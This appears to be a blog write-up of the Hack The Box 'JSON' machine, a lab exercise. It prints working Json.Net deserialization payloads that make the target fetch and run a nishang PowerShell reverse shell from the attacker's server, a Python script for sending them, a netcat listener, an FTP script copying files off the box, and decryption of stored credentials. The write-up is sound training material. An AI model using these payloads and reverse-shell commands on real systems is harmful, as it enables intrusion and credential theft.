Hackthebox – JSON

As with all boxed, I start this box with a port scan to see if there are any interesting ports open

root@kalivm:~/JSON# nmap -sTV -p 80 10.10.10.158
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 17:55 CEST
Nmap scan report for 10.10.10.158
Host is up (0.014s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
80/tcp    open  http         Microsoft IIS httpd 8.5
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.48 seconds

So I see a number of high ports, the Powershell port, a set of SMB ports, the web server and an FTP server. The first analysis of the ftp, smb and powershell ports appeared not very useful so I continued with the web pages.

The web page showed a login screen, but a simple guess with Admin:Admin as username/password combination let me in.

After analysis of all requests in Burpsuite, the request to /api/Account stood out for me as the box name is JSON and this is the only request with a JSON response. I took a close look at the request in Burp and noticed it had an OAuth2 cookie set, and a Bearer token so I continued to focus on that using Curl.

root@kalivm:~/JSON# curl -XGET http://10.10.10.158/api/Account --header "Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" --header "Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0="
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

If I just repeat the request with Curl, I get a JSON string back containing an ID, the Username, a password and some other stuff. So lets take a closer look at that Bearer string.

root@kalivm:~/JSON# echo -n eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0= | base64 -d
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Apparently, the bearer value just contains the exact same stuff that gets returned. But what happens if I change the ID value (integer) to a string value.

root@kalivm:~/JSON# echo -n {"Id":a,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"} | base64 |tr -d '\n'; echo
SWQ6YSBVc2VyTmFtZTphZG1pbiBQYXNzd29yZDoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMyBOYW1lOlVzZXIgQWRtaW4gSFRCIFJvbDpBZG1pbmlzdHJhdG9y
root@kalivm:~/JSON# curl -XGET http://10.10.10.158/api/Account --header "Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" --header "Bearer: SWQ6YSBVc2VyTmFtZTphZG1pbiBQYXNzd29yZDoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMyBOYW1lOlVzZXIgQWRtaW4gSFRCIFJvbDpBZG1pbmlzdHJhdG9y"
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}

So it gives an error because it cannot deserialize a Json.Net object. After some searching, I came across this document which is the white paper for this blackhat talk. In this blackhat talk, it is specifically mentioned that this is not a JSON vulnerability but a Deserialization vulnerability so this may be the right path to follow. After watching some more, they mention specifically that Json.Net is vulnerable too. Apparently it should be possible to inject code if you have control over the Type value of the Serialized object. I started a python web server to host a modified Powershell script from nishang as Ippsec demonstrates in various videos including this one from Arkham.

root@kalivm:~/JSON# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1
root@kalivm:~/JSON# echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.12.125 -Port 9002" >> reverse.ps1
root@kalivm:~/JSON# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

After that was modified, I started to create the required Json.net payloads as it was specifically mentioned in the Breeze demo of the Blackhat Talk.

As I was fiddling with this stuff, I got tired of having to base64-encode the payloads and then send it over again, so I decided to create a simple python script to do that for me.

#!/usr/bin/env python3
from base64 import b64decode, b64encode
import requests
import argparse

parser = argparse.ArgumentParser(description='pass the attack script.')
parser.add_argument("-s", '--script', required=True, 
                    help='script to process for the attack')
args = parser.parse_args()

admin_token="eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0="
#Base64 encode the provided payload file
def create_payload(package):
    payload = open(package, 'rb').read()
    return b64encode(payload).decode('UTF-8')

#Send the payload file
print("Sending payload: ", args.script)
requests.get('http://10.10.10.158/api/Account', 
                headers={
                    'Cookie': 'OAuth2='+admin_token, 
                    'Bearer': create_payload(args.script)
                })

Quite a lot of fiddling later, I finally got the first payload right which uses PowerShell to invoke a request to get the modified PowerShell Reverse shell across.

root@kalivm:~/user-access# cat getPS1.plain 
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c powershell Invoke-WebRequest -Uri "http://10.10.12.125:8000/reverse.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
root@kalivm:~/user-access# ./json.py -s getPS1.plain 
Sending payload:  getPS1.plain

And in the python web server shell I can see the incoming GET request from the JSON box for the reverse.ps1 file.

root@kalivm:~/user-access# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.158 - - [05/Oct/2019 20:30:11] "GET /reverse.ps1 HTTP/1.1" 200 -

The next step is to finalize the object file which calls the PowerShell script, and after some messing around with that file, I got to the following lines of code:

root@kalivm:~/user-access# cat execPS1.plain 
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c powershell  c:\\windows\\temp\\sedje.ps1']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
root@kalivm:~/user-access# ./json.py -s execPS1.plain 
Sending payload:  execPS1.plain

And in the Terminal with the netcat listener waiting I see…

root@kalivm:~/~# nc -nlvp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.10.158 49341
Windows PowerShell running as user JSON$ on JSON
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>

Yes, I’ve got a shell! Next thing to do, is see who I am, and capture the user flag!

PS C:\windows\system32\inetsrv> whoami
json\userpool
PS C:\windows\system32\inetsrv> Get-Content c:\Users\userpool\Desktop\user.txt
34459a01<NOFLAG>410db09bfb9f52bb

Additional note

After helping someone on Discord, I got the feedback that the command I used in the payload could have been even simpler. Instead of the ‘cmd’ and ‘/c’ approacht the following would have been just as simple.

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['powershell','Invoke-WebRequest -Uri "http://10.10.12.125:8000/reverse.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Privilege Escalation

After some browsing around, doing common PrivEsc actions, I find an interesting file in a Sync2FTP directory

PS C:\Program Files\Sync2Ftp> type SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="minute" value="30"/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
  </startup>


</configuration>

The file appears to contain a username, password which look like a base64 string and some Security Key. Decoding the base64 strings got me some unreadable stuff so I decided to run the SyncLocation.exe file and it ran without issues. Since it is likely that the .exe file uses the .config file, I copy both files to a writable directory so I can transfer them off the box for further analysis.

C:\Program Files\Sync2Ftp> mkdir c:\windows\temp\sedje
                                          
                                          
    Directory: C:\windows\temp            
                                          
                                          
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         10/5/2019   9:08 PM            sedje
                                                  
                                                  
PS C:\Program Files\Sync2Ftp> cd c:\windows\temp\sedje
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe" .
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe.config" .

Now that those files are ready, I have to start a local FTP server for catching the files. Python can do this easily using the pyftpdlib library.

root@kalivm:~/JSON# python -m pyftpdlib -p 21 -w
/usr/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2019-10-05 21:15:22] >>> starting FTP server on 0.0.0.0:21, pid=10105 < <<
[I 2019-10-05 21:15:22] concurrency model: async
[I 2019-10-05 21:15:22] masquerade (NAT) address: None
[I 2019-10-05 21:15:22] passive ports: None

On the Windows box, I create an ftp script and transfer the files to my local machine.

PS C:\windows\temp\sedje> echo "open 10.10.12.125" > ftp
PS C:\windows\temp\sedje> echo "anonymous" >> ftp
PS C:\windows\temp\sedje> echo "" >> ftp
PS C:\windows\temp\sedje> echo "put SyncLocation.exe" >> ftp
PS C:\windows\temp\sedje> echo "put SyncLocation.exe.config" >> ftp
PS C:\windows\temp\sedje> echo "quit" >> ftp
PS C:\windows\temp\sedje> ftp -s:ftp                                                                                                
ftp> open 10.10.12.125
Connected to 10.10.12.125.
220 pyftpdlib 1.5.4 ready.
User (10.10.12.125:(none)):
331 Username ok, send password.

230 Login successful.
ftp> put SyncLocation.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 9728 bytes sent in 0.02Seconds 608.00Kbytes sec.
ftp> put SyncLocation.exe.config
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 591 bytes sent in 0.02Seconds 36.94Kbytes/sec.
ftp> quit
221 Goodbye.

So the FTP script says the files are transferred. Time to check the FTP server for the same.

[I 2019-10-05 21:17:28] 10.10.10.158:49459-[] FTP session opened (connect)
[I 2019-10-05 21:17:28] 10.10.10.158:49459-[anonymous] USER 'anonymous' logged in.
[I 2019-10-05 21:17:28] 10.10.10.158:49459-[anonymous] STOR /root/JSON/SyncLocation.exe
completed=1 bytes=9728 seconds=0.056
[I 2019-10-05 21:17:28] 10.10.10.158:49459-[anonymous] STOR /root/JSON/SyncLocation.exe.config
completed=1 bytes=591 seconds=0.042
[I 2019-10-05 21:17:28] 10.10.10.158:49459-[anonymous] FTP session closed (disconnect).

After the files are transferred, I transfer them to a local Windows VM as that is easier than analyzing it on Linux. I open the .exe in dnspy.

In the binary, there is a plain readable Decrypt() function which takes a key and a value to decrypt the base64-encoded strings. As I am not that good with .net stuff, I search online for a simple solution.

I find that solution in dotnetfiddle, an online tool which allows to run dotnet code. After adjusting the code by adding the key, and calling the function twice with the base64-string in it, I get the results.

Username: superadmin
Password: funnyhtb

Now there are still various places where I can try these credentials. After some fiddling with PowerShell privilege escalation, I got a hint that I should try another path and tried the FTP server.

root@kalivm:~/~# ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.158:root): superadmin
331 Password required for superadmin
Password:
230 Logged on
Remote system type is UNIX.

Bingo! Logged in on the FTP server, all that was left to do, is check the Desktop for the flag, and get it!

ftp> dir Desktop
200 Port command successful
150 Opening data channel for directory listing of "/Desktop"
-r--r--r-- 1 ftp ftp            282 May 22  2019 desktop.ini
-r--r--r-- 1 ftp ftp             32 May 22  2019 root.txt
226 Successfully transferred "/Desktop"
ftp> get Desktop/root.txt ./root.txt
local: ./root.txt remote: Desktop/root.txt
200 Port command successful
150 Opening data channel for file download from server of "/Desktop/root.txt"
226 Successfully transferred "/Desktop/root.txt"
32 bytes received in 0.00 secs (223.2143 kB/s)
ftp> 221 Goodbye
root@kalivm:~/JSON# cat root.txt 
3cc85d1<NOFLAG>af4074101b991d441

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.